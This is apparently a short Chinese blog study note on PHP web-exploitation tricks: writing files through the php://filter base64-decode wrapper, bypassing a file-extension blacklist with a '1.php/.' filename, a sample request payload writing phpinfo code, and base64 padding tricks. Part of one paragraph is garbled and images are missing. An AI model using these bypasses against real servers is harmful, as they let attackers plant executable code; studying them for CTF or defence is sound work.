随便学习

php伪协议写入

<?php
$filename = "php://filter/write=convert.base64-decode/resource=test.php/.";
file_put_contents($filename,"PD9waHAgcGhwaW5mbygpOz8+"); 
echo pathinfo("php://filter/write=convert.base64-decode/resource=test.php/.",PATHINFO_EXTENSION);
?>

经过测试发现一个可以再windows和linux上都行得通的方法:
在操作系统中,都是禁止使用/作为文件名的,但是不知道为什么后面加一个.就可以成功的写入1.php了。

if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

所以payload如下

log_name=1.php/.&output=<?php phpinfo();?>

base64解码的trick:解码中遇到不符合规范的字符直接跳过。其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码
比如

<?php phpinfo();?>
//base64如下
PD9waHAgcGhwaW5mbygpOz8+
//我们在前面加入字符lt;lt最后结果如下
lt;ltPD9waHAgcGhwaW5mbygpOz8+

在这里我们加入的合法字符为ltlt,而;为不合法字符
在这里插入图片描述
最后结果为
在这里插入图片描述

get 的一种使用方式

$AA=${_GET}{X};
ECHO $AA;

如果直接以 x x x ( ) ; 来 调 用 , P H P 5 和 P H P 7 并 无 不 同 , 如 果 以 ( xxx();来调用,PHP5和PHP7并无不同,如果以( xxx();PHP5PHP7(xxx)();的格式,在php7中,不允许通过(‘phpinfo’)();来执行动态函数,但是在PHP7以后可以通过(‘phpinfo’)();的方式来执行函数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值